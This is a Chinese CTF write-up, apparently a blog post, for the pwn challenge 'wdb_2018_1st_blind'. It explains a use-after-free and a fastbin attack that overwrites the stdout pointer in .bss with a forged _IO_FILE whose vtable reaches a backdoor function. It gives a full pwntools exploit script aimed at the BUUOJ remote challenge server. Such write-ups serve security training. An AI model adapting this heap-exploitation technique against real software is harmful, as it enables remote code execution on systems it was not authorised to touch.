wdb_2018_1st_blind(劫持bss段上的stdout指针来执行任意函数)

161 篇文章 9 订阅
161 篇文章 9 订阅

wdb_2018_1st_blind(劫持bss段上的stdout指针来执行任意函数)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,程序里没有show功能

有一个后门函数

Delete功能存在UAF,但是delete功能只能用3次,因此劫持_IO_2_1_stdout来泄露libc地址次数不够用。

由于got表也不可写,那么我们可以劫持bss段上的stdout指针,将其指向我们伪造的_IO_FILE结构体处,就可以调用backdoor函数了。

#coding:utf8
from pwn import *

#sh = process('./wdb_2018_1st_blind')
sh = remote('node3.buuoj.cn',29314)
backdoor = 0x00000000004008E3

def add(index,content):
   sh.sendlineafter('Choice:','1')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Content:',content)

def edit(index,content):
   sh.sendlineafter('Choice:','2')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Content:',content)

def delete(index):
   sh.sendlineafter('Choice:','3')
   sh.sendlineafter('Index:',str(index))

fake_chunk_in_bss = 0x0000000000601FF5
add(0,'a'*0x60) #0
delete(0)
edit(0,p64(fake_chunk_in_bss))
add(1,'a'*0x60) #1
#伪造一个IO_FILE
payload = p64(fake_chunk_in_bss + 0xB)
payload += p64(0)
payload += p64(fake_chunk_in_bss + 0x10) #vtable
payload += '\x00'*0x3 + p64(fake_chunk_in_bss - 0x78) + p64(backdoor) + '\x00'*0x25 + p64(0x601FF0)
add(2,payload) #申请到bss上,篡改stdout指针,伪造IO_FILE,当调用printf时,会getshell

sh.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值